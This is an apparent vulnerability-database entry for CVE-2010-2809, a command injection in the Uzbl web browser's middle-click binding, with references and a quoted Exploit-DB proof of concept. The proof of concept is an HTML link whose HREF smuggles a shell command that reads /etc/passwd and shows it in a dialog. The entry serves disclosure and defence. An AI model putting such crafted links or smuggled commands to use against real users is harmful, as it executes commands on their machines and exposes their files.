CVE-2010-2809
Description
The default configuration of the <Button2> binding in Uzbl before 2010.08.05 does not properly use the @SELECTED_URI feature, which allows user-assisted remote attackers to execute arbitrary commands via a crafted HREF attribute of an A element in an HTML document.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
uzbl 'uzbl-core' - '@SELECTED_URI' Mouse Button Bindings Command Injection
source: https://www.securityfocus.com/bid/42297/info
uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.
To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.
Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html>
References
- http://github.com/Dieterbe/uzbl/commit/9cc39cb5c9396be013b5dc2ba7e4b3eaa647e975
- http://github.com/pawelz/uzbl/commit/342f292c27973c9df5f631a38bd12f14a9c5cdc2
- http://marc.info/?l=oss-security&m=128111493509265&w=2
- http://marc.info/?l=oss-security&m=128111994317381&w=2
- http://www.securityfocus.com/bid/42297
- http://www.uzbl.org/bugs/index.php?do=details&task_id=240
- http://www.uzbl.org/news.php?id=29
- https://bugzilla.redhat.com/show_bug.cgi?id=621964
- https://bugzilla.redhat.com/show_bug.cgi?id=621965
- https://exchange.xforce.ibmcloud.com/vulnerabilities/61011
- http://github.com/Dieterbe/uzbl/commit/9cc39cb5c9396be013b5dc2ba7e4b3eaa647e975
- http://github.com/pawelz/uzbl/commit/342f292c27973c9df5f631a38bd12f14a9c5cdc2
- http://marc.info/?l=oss-security&m=128111493509265&w=2
- http://marc.info/?l=oss-security&m=128111994317381&w=2
- http://www.securityfocus.com/bid/42297
- http://www.uzbl.org/bugs/index.php?do=details&task_id=240
- http://www.uzbl.org/news.php?id=29
- https://bugzilla.redhat.com/show_bug.cgi?id=621964
- https://bugzilla.redhat.com/show_bug.cgi?id=621965
- https://exchange.xforce.ibmcloud.com/vulnerabilities/61011
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.